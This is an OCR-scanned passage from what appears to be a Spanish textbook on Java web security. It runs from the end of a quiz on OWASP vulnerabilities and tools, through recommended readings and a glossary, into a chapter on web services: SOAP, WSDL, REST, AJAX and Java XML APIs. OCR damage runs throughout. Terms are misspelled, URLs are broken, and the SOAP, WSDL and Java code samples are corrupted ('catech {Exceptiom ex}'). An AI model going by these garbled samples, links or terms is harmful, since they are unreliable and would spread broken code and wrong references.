aprovecharse de los privilegios que dicho usuario posee en la aplicacion?

Cross-site scripling (X55)
Cross-site request forgery (CSRF)
Insecure direct object references
Sensitive dala exposure

oo op

. tCudl de las siguientes vulnerabilidades estd relacionada con que el

atacante tiene acceso a dreas restringidas debido a malas pricticas o
fallos durante la configuracidn de la aplicacion?
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Sensitive data exposure

Cross-site request forgery (CSRF)
Insecure direct object references
Security misconfiguration

9. ;Cudl de las siguientes ¢s una aplicacién que aporta funcionalidades que
permita avudar en la identificacion de vulnerabilidades en aplicaciones
web, asi como otras funcionalidades como captlura y andlisis de trifico
HTTP?

OWASP Enterprise Security API

OWASP Zed Autack Proxy

OWASP Application Security Verification Standard

OWASP Testing guide

e oo

10.; Cudl de los siguientes métodos que se encuentran dentro de la libreria
owasp-java-html-sanitizer permite filtrar el texto html de acuerdo a las
politicas que nosotros le especifiquemos?

sanilize

filterHTML

sanitizeHTML

santize TEXT

e o o

2.13 LECTURAS RECOMENDADAS

F Sistemas de pago en comercio electronico
hitp:www.eriptored upm . es/crvptdvon/temas/sistemaspago/leccionl/
leccion] htmi

¥ Java Coding Guidelines: 75 Recommendations for Reliable and Secure
Programs

https-/fwww. securecoding cert. org/confluence/displayijava/dava+
Coding+Guidelines

hitps Awww.securecoding cert org/confluence/displayfava/l +Security
https Awww. securecoding. cert org/confluence/displayvifava/SEI+CERT+
Oracle+Coding+Standard+for+Java

F lntroduceion a oauth2

https Swww.digitalocean com/compunity/tutorials/an-introduction-to-
patth-2
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OWASP

P Top 10 Vulnerabilidades

hitps Awww.owasp. org/index. php/Category: OWASP_Top Ten Project

F Development Guide

https www owasp. org/index. php/Category: OWASP_Guide Project

¥ Testing Guide

hitps Awww. owasp. orgdindex php/Category: OWASP_Testing Project

2.14 GLOSARIO DE TERMINOS

P Autenticacidn Multi-Factor: Proceso de autenticacion gue le requicre al

usuario producir multiples v distintos tipos de credenciales. Tipicamente
son basados en algo que el usuario tene (por ejemplo: una tarjeta
inteligente), algo que conoce (por gjemplo: un pin), o algo que es (por
ejemplo: datos provenientes de un lector biométrico).

Blacklist (lista negra): Lista de objetos que deben ser discriminados en
alguna forma. En el caso del correo electronico se emplea para bloguear
todos los mensajes que se reciban de las direcciones contenidas en la
lista.

CA (Autoridad de certificaciéon): Entidad autorizada y confiable para
crear, firmar y expedir certificados de clave publica. Al firmar digitalmente
cada certificado expedido, la identidad del usuario estd certificada, v la
asociacidn de la identidad certificada con una clave pablica estd validada.

Clave piblica: En un sistema criptogriafico asimétrico es la clave
criptografica de un usuario gue se hace se conoce de forma pablica.

Clave privada: En un sistema criptogrifico asimétrico es clave
criptografica de un usuario solo conocida por el mismo.

OAuth (Open Authorization): Estindar abierto para la autorizacion
segura ¥ simple para aplicaciones de escritorio, moviles y wehb. Permite
a una aplicacion de terceros obtener acceso limitado a un servicio HTTP,
va sea en nombre del propietario de un recurso o permitiendo a una
aplicacion de terceros obtener acceso en su propio nombre.



10 SEGURIDAD ENAPLICACIONES WEB JAVA ) R -M

F

r

OpenlD: Proceso distribuido v descentralizado donde la identidad se
traduce en una URL que cualquier aplicacion o servidor puede verificar.

PCI DSS: Acronimo de “Payment Card Industry Data Security Standard™
(Norma de seguridad de datos de la industria de tarjetas de pago).

Sanitizar: El proceso de hacer seguros datos potencialmente peligrosos a
traviés de la utilizacion de remocion, reemplazo, codificacion o “escaping™
de los caracteres que lo componen.

S50 (Single sign-on): Procedimiento de autenticacién que habilita
al usuario para acceder a varios sistemas con una sola instancia de
identificacion.

Token: Cadena de caracleres con un formato especifico v un significado
determinado.

Whitelist (lista blanea): Lista de objetos que deben ser aceptados. La
inclusiom en la lista confirma la disponibilidad de permisos para sus
integrantes. En el caso del correo electrénico se emplea para permilir la
llegada de correos de esas direcciones sin restriceidn de contenido,



~ PROGRAMACION SEGURA
EN SERVICIOS WEB

INTRODUCCION

El disefio del software tiende a ser cada vez mas modular. Las aplicaciones
s¢ componen de una serie de componentes y servicios reutilizables, que pueden
encontrarse distribuidos a lo largo de una serie de maquinas conectadas en red.

Los Servicios Web nos permitirdn distribuir nuestra aplicacion a través
de Internet, pudiendo una aplicacion utilizar los servicios ofrecidos por cualquier
servidor conectado a Internet.

Dado el cardcter distribuido de las aplicaciones empresariales que utilizan
servicios web, es natural que estas se extiendan fuera del ambito de la intranet
empresarial. Llegado este punto, es imprescindible utilizar tecnologias de seguridad
para asegurar que olros no puedan leer el contenido, o bien para asegurar que ¢l emisor
y el receptor son quienes dicen ser (garantizar la confidencialidad y la integridad).

OBJETIVOS DE LA UNIDAD DIDACTICA

1. Analizar las principales caracteristicas de los servicios web y qué
tecnologias son las que ofrecen soporte a nivel general v en particular
aquellas que se encuentran dentro del ecosistema de Java y Java Enterprise
Edition.
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2. Mostrar las principales librerias que tenemos en el ecosistema de Java
para implementar servicios web.

3. Mostrar la libreria Java JAX-RS para implementar servicios web de
forma segura a traveés de un APL-REST.

3.1 CARACTERISTICAS DE LOS SERVICIOS WEB

Un servicio web es un componente al que podemos acceder mediante
protocolos Web estindar, utilizando XML para ¢l intercambio de informacion.
Mormalmente, nos referimos con servicio web a una coleccidon de procedimientos
o métodos a los que podemos lamar desde cualquier lugar (lnternet, intranet),
sicndo este mecanismo de invocacion totalmente independiente de la plataforma
que utilicemos y del lenguaje de programacion en el que se haya implementado
internamente el servicio.

Los servicios Web son componentes de aplicaciones distribuidas que estdn
disponibles de forma externa. Se pueden utilizar para integrar aplicaciones escritas
en diferentes lenguajes y que se ejecutan en plataformas diferentes,

Las caracteristicas generales de un servicio web son:

¥ Un servicio debe poder ser aceesible a través de la Web. Para ello debe
utilizar protocolos de transporte estindares como HTTP, v codificar los
mensajes en un lenguaje estindar que pueda conocer cualquier cliente
que quiera utilizar el servicio.

¥ Un servicio debe contener una descripeion de si mismo. De esta forma,
una aplicaciém podrd saber cudl es la funcidn de un determinado Servicio
Web, v cual es su interfaz, de manera que pueda ser utilizado de forma
automatica por cualquier aplicacion, sin la intervencion del usuario.

F Debe poder ser localizado. Debe haber algin mecanismo que nos permita
encontrar un Servicio Web que realice una determinada funcion. De esta
forma tendremos la posibilidad de que una aplicacion localice el servicio
que necesite de forma automatica, sin tener gue conocerlo previamente
el usuario.
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3.2 ARQUITECTURAS ORIENTADAS A SERVICIOS

Las arquitecturas orientadas a servicios (50A) se basan en el desarrollo de
servicios altamente reutilizables, ¥ en la combinacion de estos servicios para dar
lugar a nuestra aplicacion.

Estos servicios idealmente deberian tener una interfaz estandar bien definida,
de forma que se pueda integrar facilmente en cualquier aplicacion. Ademas, no debe
tener estado, ni depender del estado de otros componentes. Debe recibir toda la
informacidén necesaria en la peticion,

Se conoce como orquestacidon de servicios la secuenciacion de lamadas a
diferentes servicios para realizar un determinado proceso de negocio. Al no tener
estado, los servicios se podrin secuenciar en cualquier orden, pudiendo formar asi{
diferentes Aujos que implementen la 1ogica de negocio.

En el caso de una SOA implementada mediante Servicios Web, sus servicios
serdan accesibles a través de la web.

En una arquitectura orientada a servicios podemos distinguir tres agentes
con diferentes funciones:

F Proveedor de servicio: Implementa unas determinadas operaciones
{servicio). Un cliente podra solicitar uno de estos servicios a este
proveedor.

F Cliente del servicio: Invoca a un proveedor de servicio para la realizacion
de alguna de las operaciones que proporciona.

F Registro de servicios: Mantiene una lista de proveedores de servicios
disponibles, junto a sus descripciones.

El mecanismo bdsico de invocacion de servicios consistird en que un cliente
solicitard un determinado servicio a un proveedor, efectuando el proveedor dicho
servicio, El servidor devolverd una respuesta al cliente como resultado del servicio
invocado.
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Ademais, si hemos localizado uno que realiza la funcion que necesitamos, si
dicho servicio no estd mantenido por nosotros puede ocurrir que en algin momento
este servicio cambie de lugar, de interfaz o simplemente desaparezea, por lo que no
podremos confiar en que vayamos a poder utilizar siempre este mismo servicio.

Los registros de servicios nos permiten automatizar la localizacion de
Servicios Web, Un proveedor puede anunciarse en un determinado registro, de forma
que figurard en dicho registro la localizacion de este servicio junto a una descripeion
de su funcionalidad y de su interfaz, que podra ser entendida por una aplicacion.

Cuando un cliente necesite un  determinado  servicio, puede acudir
directamente a un registro v solicitar ¢l tipo de servicio que necesita. Para ello es
importante establecer una determinada seméantica sobre las posibles descripeiones de
funcionalidades de servicios, evitando las posibles ambigiiedades.

El registro devolverd entonces una lista de servicios que realicen la funcion
deseada, de los cuales el cliente podra elegir el mas apropiado, analizar su interfaz,
e invocarlo.

3.3 ARQUITECTURA DE LOS SERVICIOS WEB

Los servicios Web presentan una arquitectura orientada a servicios que permite
crear una definicion abstracta de un servicio, proporcionar una implementacion
conereta de dicho servicio, publicar v localizar un servicio, seleccionar una instancia
de un servicio, v utilizar dicho servicio con una elevada interoperabilidad.

El proveedor del servicio define la descripeidn abstracta de dicho servicio
utilizando un lenguaje de descripeion de Servicios Web (WSDL: Web Services
Description Language). A continuacion, s¢ crea un Servicio concreto a partir de
la descripeidn abstracta del servicio, produciendo asi una descripeion concreta del
servicio en WSDL. Dicha descripeion concreta puede entonces publicarse en un
servicio de registro como por ¢jemplo UDDI (Universal Description, Discovery
and Integration). Un cliente de un servicio puede utilizar un servicio de registro
para localizar una descripeion de un servicio, a partic de la cual podra seleccionar y
utilizar una implementacidon concreta de dicho servicio.

La descripcion abstracta se define en un documento WSDL como un
PortTyvpe. Una instancia concreta de un Servicio se define mediante un elemento
port de un WSDL (consistente a su vez en una combinacién de un PortType, un
binding de codificacidn y transporle, mds una direccion). Un conjunto de poris
definen un elemento service de un WSDL.
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Los protocolos utilizados en los Servicios Web se organizan en una serie de
capas:

Es la capa que se encarga de transportar los mensajes entre
aplicaciones. Normalmente se utiliza el protocolo HTTP para este
transporte, aungue los servicios web pueden viajar mediante otros
protocolos de transterencia de hipertexto como SMTP, FTP

Transporte de servicios

Es la capa responsable de codificar los mensajes en XML de forma
Mensajerin XML que puedan ser entendidos por cualquier aplicacidn.
Puede implementar los protocolos XML-RPC o SOAP.

Se encarga de definir Ia interfaz pablica de un determinado
setvicio. Esta definicitn se realiza mediante WSDL.

Se encarga del registro centralizado de servicios, permitiendo
Localizacion de servicios que estos sean anunciados y localizados. Para ello se utiliza el
protocolo DNV

Deseripeion de servicios

Un Servicio Web dispone de un interfaz pablico (APl) descrito en un formato
procesable por cualquier equipo o sistema llamado WSDL. WSDL es, ademais, el
lenguaje de programacion de esa interfaz pablica que estd basado en XML y contiene
los requisitos funcionales necesarios para establecer una comunicacién con el
Servicio Web. El proveedor de los servicios es responsable de establecer y publicar
los requisitos de seguridad que crea adecuados para proteger su servicio.

Un equipo cliente que se conecta a un Servicio Web puede leer ese fichero
WSDL para determinar qué funciones estan disponibles en el servidor. Los tipos de
datos especiales se incluyen dentro del archivo WSDL en formato XML Schema y
el cliente utiliza SOAP para hacer la llamada a una de las funciones listadas en ¢l
WSDL,

3.4 TECNOLDGIAS

Tenemos una serie de tecnologias, todas ellas basadas en XML, que
son fundamentales para el desarrollo de Servicios Web. Estas tecnologias son
independientes tanto del SO como del lenguaje de programacion utilizado para
implementar dichos servicios. Por lo tanto, seran utilizadas para cualquier Servicio
Web, independientemente de la plataforma sobre la que construyamos dichos
servicios. A conlinuacion, vamos a comentar con un poco mis de detalle sobre las
tecnologias de mensajeria, descripeion de servicios y localizacion.
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34.1 XML

XML es un metalenguaje extensible de etiquetas desarrollado por el World
Wide Web Consortium (W3C). Se propone como un estindar para ¢l intercambio
de informacion estructurada entre diferentes plataformas. Tiene un papel muy
importante en la actualidad ya que permite la compatibilidad entre sistemas para
compartir la informacidn de una manera segura, fiable y ficil.

XML define un lenguaje de etiquetas, muy facil de entender, pero con unas
reglas muy estrictas, que permite encapsular informacién de cualquier tipo para
posteriormente ser manipulada.

Las principales ventajas de xml son:

F Es extensible: Después de disefado v puesto en produccidn, es posible
extender XML con la adicién de nuevas etiquetas, de modo que se pueda
continuar utilizando sin complicacion alguna.

¥ El analizador es un componente estdndar, no es necesario crear un
analizador especifico para cada version de lenguaje XML. Esto posibilita
el empleo de cualgquiera de los analizadores disponibles. De esta manera
se evitan bugs y se acelera el desarrollo de aplicaciones,

F Siun tercero decide usar un documento creado en XML, es sencillo
entender su estructura y procesarla, mejorando la compatibilidad entre
aplicaciones,

Los documentos XML son documentos gque siguen una estructura de arbol,
pseudo-jerdrquica, permitiendo agrupar la informacién en diferentes niveles, que
van desde la raiz a las hojas. Un documento XML esta compuesto desde el punto de
vista de programacion por nodos, que pueden contener otros nodos,

e

El par formado por la etiqueta de apertura (“<etiqueta=") ¥ por la de cierre
(“</etiqueta="), junto con todo su contenido (elementos, atributos y texto de su
interior) es un nodo llamado elemento. Un elemento puede contener otros elementos,
es decir, puede contener en su interior subetiquetas, de forma anidada.

Un atributo es un nodo especial llamado atributo, que solo puede estar
dentro de un elemento (concretamente dentro de la etiqueta de apertura).

El texto es un nodo especial llamado texto (Text), que solo puede estar
dentro de una etiqueta.

Un eomentario cs un nodo especial llamado comentario (Comment), gue
puede estar en cualquier lugar del documento XML,
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34.2 SOAP

SOAP es el acrdnimo de “Simple Object Access Protocol” v es el protocolo
que se oculta tras la tecnologia que cominmente denominamos “Web Services™ o
servicios web, SOAP es un protocolo extraordinariamente complejo pensado para
dar soluciones a casi cualquier necesidad en lo que a comunicaciones se refiere,
incluyendo aspectos avanzados de seguridad, transaccionalidad, mensajeria
asegurada v demds. Se trata de un protocolo derivado de XML que nos sirve para
intercambiar informacion entre aplicaciones, Normalmente utilizaremos SOAP para
coneclarnos a un servicio e invocar métodos remotos, aungue puede ser utilizado de
forma mds genérica para enviar cualquier tipo de contenido. Podemos distinguir dos
tipos de mensajes segin su contenido:

F Mensajes orientados al documento: Contienen cualguier tipo de
contenido que gueramos enviar entre aplicaciones.

¥ Mensajes orientados a RPC: Este tipo de mensajes servird para invocar
procedimientos de forma remota (Remote Procedure Calls). Podemos
verlo como un tipo méds concreto dentro del tipo anterior, ya que en
este caso como contenido del mensaje especificaremos el mélodo que
queremos invocar junto a los pardmetros que le pasamos, y el servidor
nos deberd devolver como respuesta un mensaje SOAP con el resultado
de invocar el método.

SOAP se puede utilizar sobre wvarios protocolos de transporte, aungue
estd especialmente disefiado para trabajar sobre HTTP. Dentro del mensaje SOAP
podemos distinguir los siguientes elementos:

F Un sobre (Envelope), que describe el mensaje, a quien va dirigido, y
como debe ser procesado. El sobre incluye las definiciones de tipos
que se usardn en el documento y contiene el cuerpo del mensaje v una
cabecera de forma opcional.

¥ El cuerpo del mensaje (Body), gque contiene ¢l mensaje en si. En el caso
de los mensajes RPC se define una convencion sobre como debe ser este
contenido, en el que se especificard ¢l método al que se invoca v los
valores que se pasan como pardmetros. Puede contener un error de forma
opeional.

¥ Una cabecera (Header) opcional, donde podemos incluir informacion
sobre el mensaje. Por ¢jemplo, podemos especificar si el mensaje es
obligatorio (debe ser entendido de forma obligatoria por el destinatario),
e indicar los actores (lugares por donde ha pasado el mensaje).
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¥ Un error (Fault) en el cuerpo del mensaje de forma opcional. Nos
servird para indicar en una respuesta SOAP que ha habido un error en el
procesamiento del mensaje de peticion que mandamos.

Figura 3.1. Elementos de un mensaje SOAP

Hemos visto como los mensajes SOAP nos sirven para intercambiar cualguier
documento XML entre aplicaciones. Pero puede ocurrir que necesitemos enviar en ¢l
mensaje datos que no son XML, como puede ser una imagen. En ese caso tendremos
que recurrir a la especificacion de mensajes SOAP con adjuntos.

Los mensajes SOAP con adjuntos afaden un elemento mas al mensaje:

Figura 3.2. Elementos de un mensaje SOAP con adjuntos
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El anexo { Attachment), puede contener cualguier tipo de contenido. De esta
forma podremos enviar cualquier tipo de contenido junto a un mensaje SOAP.

Un ejemplo de mensaje SOAP es el siguiente:

<S0AP-ENV i Envelope
xmlns:50AP-ENV="http:/fschemas.xmlsocap.org/soapsfenvelope/
S0AP-ENV:encodingstyle="http://schemas.xmlscap.org/soap/encoding/">
LS0AP-ENV :Body >

<ns:getTemperatura =mlns:ns="http://example.com/ns*>
ccountry»>Spain</countrys

</ns:getTemperaturas

< /S0AP-ENV: Body >

< /S0AP-ENV: Envelopes

En &l estamos llamando a nuestro método getTemperatura para obtener
informacion meteoroldgica, proporcionando como pardmetro el pais del gue
gueremos obtener la temperatura.

Podemos encontrar la especificacion de SOAP v S0OAP con anexos publicada
en la pigina del W3C, en las direcciones:

http:dwwwow3 org/ TRISOAP

http:frwwwo w3 org/ TRISOA P-attachments

34.3 WSDL

Es otro lenguaje derivado de XML, que se utiliza para describir los servicios
web, de forma que una aplicacion pueda conocer de forma automadtica la funcidn de
un servicio web, asi como la forma en que se puede usar dicho servicio web.

El fichero WSDL permite especificar como deben representarse los
parimetros, tanto de entrada como de salida, en una invoecacion de tipo externo al
SErVICio.

Si desarrollamos un servicio web, ¥ queremos que otras personas sean
capaces de utilizar nuestro servicio para sus aplicaciones, podremos proporcionar
un documento WSDL describiendo nuestro servicio. De esta forma, a partir de
este documento olros usuarios podran generar aplicaciones clientes en cualgquier
plataforma que se ajusten a nuestro servicio.
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Peticion SOAP (XML)

HTTP

Implementacion ~ Respuesta SOAP (AML} © Censumidor

Figura 3.3. Diagrama de peticion SOAP

El elemento raiz dentro de este fichero es definitions, donde se especifican
los espacios de nombres que utilizamos en nuestro servicio, el nombre y otros prefijos
utilizados en el documento WSDL.

Un ejemplo de definicién de espacio de nombres ¢s:

xmins:wsdl=hip:schemas xmlsoap org/wsdl!

Este prefijo especifica que todos los elementos dentro del documento de
esquemas con ¢l espacio de nombres “hitp:dschemas xmisoap orgiwsdl”™ tendrian
el prefijo wsdl. Dentro de este elemento raiz encontramos los siguientes elementos:

F types: Se utiliza para definir los tipos de datos que se intercambiarin
en el mensaje. Podemos definir dichos tipos directamente dentro de este

elemento, o importar la definicion de un fichero de esquema (fichero xsd).

F message: Define los distintos mensajes gue se intercambiaran durante
el proceso de invocacidn del servicio. Se deberin definir los mensajes
de entrada y salida para cada operacion gue ofrezea el servicio. En el
caso de mensajes RPC, en el mensaje de entrada se definirdn los tipos
de pardmetros que se proporcionan, v en el de salida el tipo del valor
devuelto.

¥ portType: Define las operaciones que ofrece el servicio. De cada
operaciém indica cuales son los mensajes de entrada y salida, de entre los
mensajes definidos en ¢l apartado anterior.
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¥ binding: Indica el protocolo v el formato de los datos para cada mensaje
de los definidos anteriormente. Este formato puede ser orlentado al
documento u orientado a RPC. 5i es orientado al documento tanto el
mensaje de entrada como el de salida contendrdn un documento XML. 5i
es orientado a RPC el mensaje de entrada contendrd ¢l método invocado
¥ sus parametros, v el de salida el resultado de invocar dicho método,
siguiendo una estructura més restrictiva.

F service: Define el servicio como una coleccion de puertos a los que se
puede acceder. Un puerto es la direccion (URL) donde el servicio actia.
Esta serd la direccidn a la que las aplicaciones deberdn conectarse para
acceder al servicio.

Un documento WSDL de ejemplo es el siguiente:

«?xml wersion="1.8" encoding="utf-8" ?»

tdefinitions xmlns:s=http://www.w3.org/2801/¥ML5chama
smlns:http=http://schemas.xmlsoap.orgfwsdl/http/
xmlns:soap=http://schemas.xmlsoap.org/wsdl/soap/
mlns:soapenc=http://schemas.xmlsoap.org/soapfencoding/
xmlns:itns=http:/ example.com/wsdl
xmlns:mime=http://schemas. xmlsoap.org/wsdl/mine/
targetNamespace=http://example.com/wsdl
xmlns="http://schemas.xmlsoap.org/wsdl/ ">

<message name="getTemperatureReguest™:>

<part name="string_1"
xmlns:partns=http://wew. wi.org/ 2081/ XMLEchema
type="partns:string” />

</message:»

imessage name="pgetTemperaturefesponsa™:

¢part name="double_1"
smlns:partns=http://wew. w3, org/2001/HL5chema
type="partns:double® J3»

<fmessage>

tportType name="TemperaturePortType":

toperation name="getTemperature":

<input message="tns:getTemperatureRequest” />
toutput message="tns:getTemperaturefesponse® /J»
<foperation:

«fportType:

tbinding name="TemperaturePortSoapBinding” type="tns:TemperaturePortType:
«soap:binding style="rpc®™
transport="http://schemas.xmlsoap.org/soap/http"” />



114 SEGURIDAD ENAPLICACIONES WEB JAVA ) R -M

En el ¢jemplo anterior se define un servicio que proporciona el método
getTemperature, que toma como pardmetro una cadena con el nombre del pais
que queremos consultar, ¥ nos devuelve un valor real. En los elementos message
vemos que tenemos dos mensajes: los mensajes de entrada y salida de la operacion
getTemperature de nuestro servicio. El mensaje de entrada contiene un dato de tipo
string (el pardmetro del método), v el de salida es de tipo double (la temperatura que
devuelve el servicio).

El elemento portType define la operacion getTemperature a partir de
los mensajes de entrada y salida que la componen, ¥ en binding se establece esta
operacion como de estilo rpe, con codificacion encoded.

En el apartado service se especifica el puerto al que podemos conectar para
usar ¢l servicio, dando la URL a la que nuestro cliente deberd acceder.

Podemos encontrar la especificacion de WSDL publicada en la pagina del
W3C, en la direccion http:iiwww.w3 . org/ TR/ wsdl
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344 NAX

AJAX, acrdénimo de Asynchronous JavaScript And XML (JavaScript
asincrono vy XML), es una téenica de desarrollo web para crear aplicaciones
interactivas o RIA (Rich Internet Applications). Estas aplicaciones se ¢jecutan
en ¢l cliente, es decir, en el navegador de los usuarios mientras se mantiene la
comunicacion asincrona con el servidor en segundo plano. De esta forma es posible
realizar cambios sobre las paginas sin necesidad de recargarlas, lo que significa
aumentar la interactividad, velocidad v usabilidad en las aplicaciones.

Ajax es una tecnologia asincrona, en el sentido de que los datos adicionales se
requieren al servidor v se cargan en segundo plano sin interferir con la visualizacion
ni ¢l comportamiento de la pagina. JavaScript es el lenguaje interpretado en el que
normalmente se efectian las funciones de llamada de Ajax mientras que el acceso a
los datos se realiza mediante el objeto XMLHUttpRequest.

Ajax es una téenica valida para maltiples plataformas y utilizable en muchos
sistemas operativos v navegadores, dado que estd basado en estindares abiertos
como JavaSeript ¥ Document Object Model (DOM).

Servidor

Figurad.4. Funcionamiento tecnologia AJAK
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34.5 Servicios REST

En los altimos afios estd ganando cada vez mis popularidad la arquitectura
REST como enfoque para construir las aplicaciones web.

+ Aplicaciones single-page

* Lavistay el contralador en el brawser

* El modelo idatos + Iégica de negocio)
en el servidor

Connectivity

Enterprise Connectiviy
and Business Logic

Java EE/ JVM

Server : Client

Figura 3.5. Arquitectura cliente-servidor con servicios REST

Las aplicaciones web basadas en servicios REST se basan en los siguientes
puntos:

F Separacion de responsabilidades entre del cliente y el servicio: ¢l
cliente se encarga de la interfaz de usuario y el servicio de la logica de
negocio. El cliente suele ser un navegador web o una aplicacion movil
en el que se ejecuta el programa que interactia con el usuario, recoge sus
peticiones y las envia al servicio, El servicio realiza todas las operaciones
relacionadas con el procesamiento de la peticidn. Recoge los datos de la
peticion, accede a la base de datos, procesa los resultados v los devuelve
al cliente.

¥ Se utiliza el protocolo HI'TP como base de la comunicacién entre el
cliente y el servidor: el cliente realiza peticiones utilizando los métodos
GET, POST, PUT o DELETE para indicar ¢l tipo de accion a realizar
v las URL como identificadores de los recursos sobre los que se estd
haciendo la peticion. El servidor recibe la peticion v devuelve un codigo
de respuesta HT'TP v el contenido de la respuesta.

F Lacomunicacion entre el cliente v el servidor se realiza usando texto
estructurado. Las peticiones llevan los pardmetros en las cabeceras
HTTPo en las URL del recurso al que se estd accediendo. Y los resultados
se devuelven en formato texto XML o JSON.
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A grandes rasgos, los servicios REST proporcionan el backend de la
aplicacion y desde Java los podemos implementar con la tecnologia Java EE, que
proporciona APLs para definir las distintas capas de la aplicacion:

¥ APLJAX-RS para implementar el APl REST de la aplicacion.
F Objetos EJB para definir la logica de negocio.

¥ IPA/Hibernate para definir la capa de modelo v la conexion con la base
de datos.

34.6 Tecnologias de segunda generacion

Una vez vistas las tecnologias basicas para servicios web, se empiezan a
desarrollar extensiones sobre ellas para cubrir las necesidades que van apareciendo,
entre las que enconiramos:

F WS-Policy y WS-PolicvAttachment nos permititdn describir
funcionalidades que no podiamos especificar con WSDL.

¥ WS-Security nos permitird afadir caracteristicas de seguridad adaptadas
a las necesidades de seguridad de los Servicios Web. Con esta API
podemos utilizar seguridad a nivel de mensaje (encriptando solo
determinadas partes del mensaje SOAP), mientras que con S5L solo
podriamos hacer que fuese seguro a nivel de transporte. WS-Security
tiene como objetivo principal describir la forma de firmar v de encriptar
mensajes de tipo SOAP. Se definen cabeceras v usa XML Signature para
el manejo de firmas en el mensaje. La encriptacion de la informacion la
realiza mediante XML Encryption.

F WS-Addressing v W5-ReliableMessaging nos permitivan especificar la
direccion de un servicio y realizar un control de flujo de los mensajes
respectivamente. Gracias a esto se podrd por ejemplo implementar
servicios con estado, o servicios que funcionen de forma asincrona.
Podremos hacer una peticidon sin quedarnos blogueados esperando una
respuesta, v recibir la respuesta mediante un callback. WS-Addressing
ofrece seguridad de extremo a extremo a la mensajeria SOAP
independientemente de los intermediatios por el que pase el mensaje
como puerlos, workstations, cortafuegos,

¥ WS5-Coordination o BPEL nos permitiran orquestar servicios web.
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3.5 TECNOLOGIAS J2EE PARA SERVICIOS WEB

Hemos visto las tecnologias en las que se basan los servicios web, y
gue los hacen independientes de la plataforma y del lenguaje de programacion
utilizado. Sin embargo, escribir manualmente los mensajes SOAP desde nuestras
aplicaciones puede ser una tarea tediosa. Por ello, las distintas plataformas existentes
incorporan librerias v utilidades que se encargan de realizar esta tarea por nosotros.
A continuacién, veremos las librerias que incorpora Java EE para la generacion
v el procesamiento de codigo XML, que nos serviran para implementar v utilizar
servicios web.

3.5.1 JAXP

La libreria JAXP {Java APl for XML Processing) permite procesar
documentos XML v transformarlos en un modelo de objetos (DOM, Document
Object Model), accesible desde el lenguaje de programacion, DOM almacena cada
clemento, atributo, texto, comentario, ete. del documento XML en una estructura
tipo arbol compuesta por nodos ficilmente accesibles.

Las clases de Java que podemos que utilizar son:

F javax.xmlparsers.DocumentBuilder: serd ¢l procesador v transformard
un documento XML a DOM, se le conoce como constructor de
documentos.

F javax.xmlparsers.DocumentBuilderFactory: permite  crear  un
constructor de documentos a través de una factoria.

F org.w3ic.dom.Document: una instancia de esta clase es un documento
XML, pero almacenado en memoria siguiendo el modelo DOM. Cuando
el parser procesa un documento XML creard una instancia de esta clase
con el contenido del documento XML.

En este ¢jemplo vemos como convertir un documento XML a un
drbol DOM. Para cargar un documento XML tenemos que hacer uso de un
parser XML (DocumentBuilder) v de un constructor de documentos DOM
(Document BuilderFactory).

try {
ff Creamos wna nueva instancia de DocumentBuilderFactory
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();

fFf & partir de la instancia anterior, fabricamos un constructor de documentos,
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gque J/ procesard el xML.

DocumentBuilder db = dbf.mewbDocumentBuilder();

ff Procesamos el documento (almacenado em un archiveo) y lo convertimos en un
[ farbol DOM.

Document doc=db.parse(™ruta_archivo_xml");

} catech {Exceptiom ex} {

System.out.println{™jError! No se ha podido cargar el documento XML.");

}

3.5.2 JAXM

La APl JAXM implementa la mensajeria XML en Java orientada al
documento. MNos permitird de forma sencilla crear mensajes XML, insertando el
contenido que queramos en ellos, y enviarlos a cualquier destinatario, asi como
extraer ¢l contenido de los mensajes que recibamos. Permite enviar y recibir los
mensajes de forma sincrona (modelo peticidn-respuesta) o asincrona (envio de
mensaje sin esperar la respuesta).

Dentro de JAXM encontramos dos APLs:

¥ SAAJ(SOAP with Attachmets APL for Java) es la APl que se utiliza para
construir mensajes SOAP y para extraer la informacion que contienen.
Esta APl es independiente, v suliciente para enviar mensajes de lipo
peticion-respuesta de lorma sincrona.

¥ JAXM proporciona un proveedor de mensajeria XML, con el gue
podremos enviar y recibir mensajes de forma asincrona, sin necesidad de
esperar una respuesta de la otra parte. Esta APl dependerd de SAAJ para
funcionar, ya que SAAJ es la que se encargard de crear vy manipular los
mensajes.

3.5.3 JAX-RPC / JAX-WS

La APl JAX-RPC implementa la infraestructura para realizar llamadas a
procedimiento remoto (RPC) mediante XML, En este caso se enviard un mensaje
SOAP con el método que queremos invocar junto a los pardmetros que le pasamos,
y nos devolvera de forma sincrona una respuesta SOAP con el valor devuelto por el
método tras su ejecucidn. Por lo tanto, JAX-RPC dependerd de SAAJ para construir
los mensajes SOAP, para enviarlos, ¥ para extraer la informacion del mensaje SOAP
gue nos devuelve como resultado.
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Esta APl nos permitird, de forma sencilla, invocar Servicios Web, asi
como crear nuestros propios Servicios Web a partir de clases Java que tengamos
implementadas. A partir de la versidén 2.0, esta APl pasa a recibir el nombre JAX-
WS, Esta nueva version se basa en JAXB para manipular los datos. Ademads, permite
el uso de la AP Web Services Metadata for the Java Platform que permite construir
los servicios web utilizando anotaciones.

3.5.4 JAXR

La APl JAXRE nos permitird acceder a registros XML a través de una AP
estdndar Java. Esta APl pretende proporcionar una interfaz unica para acceder a
distintos tipos de registros, cada uno de los cuales tiene un protocolo distinto.

Actualmente JAXR es capaz de trabajar con registros UDDI y ebXML.
Podremos realizar dos tipos de tareas distintas cuando accedamos a un registro
mediante JAXR:

¥ Consultar el registro, para localizar los servicios que necesitemos,

¥ Publicar un servicio en el registro, para que olros clientes sean capaces
de localizarlo cuando lo necesiten, asi como modificar o eliminar los
servicios publicados que sean de nuestra propiedad.

3.5.5 JAXB

La APl de JAXB (Java API for Binding) nos permite asociar esquemas XML
y codigo Java. A partir de un esquema XML, podremos generar una clase Java que
represente dicho esquema.

De esta forma podremos convertir un documento XML a una serie de objetos
Java que contendrin la informacion de dicho documento. Podremos entonces trabajar
desde nuestra aplicacion con estos objetos, accediendo y modificando sus valores.
Finalmente, podremos volver a obtener un documento XML a partir de los objetos
Java.

Esto nos va a simplificar la tarea de utilizar tipos de datos propios en llamadas
a Servicios Web, ya que utilizando JAXB podremos realizar de forma sencilla la
conversion entre nuestra clase Java vy un documento XML con la informacion de
dicha clase.
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35.6 Otras librerias

Ademis de las APls Java estindar para servicios web, encontramos también
algunas librerfas adicionales desarrolladas por terceros que pueden sernos de utilidad.

La APl de Java para WSDL (WSDL4J) nos permite de forma sencilla
analizar documentos WSDL, v de esa forma poder descubrir las caracteristicas de un
servicio en iempo de gjecucion,. Mediante esta APL, podremos localizar un servicio
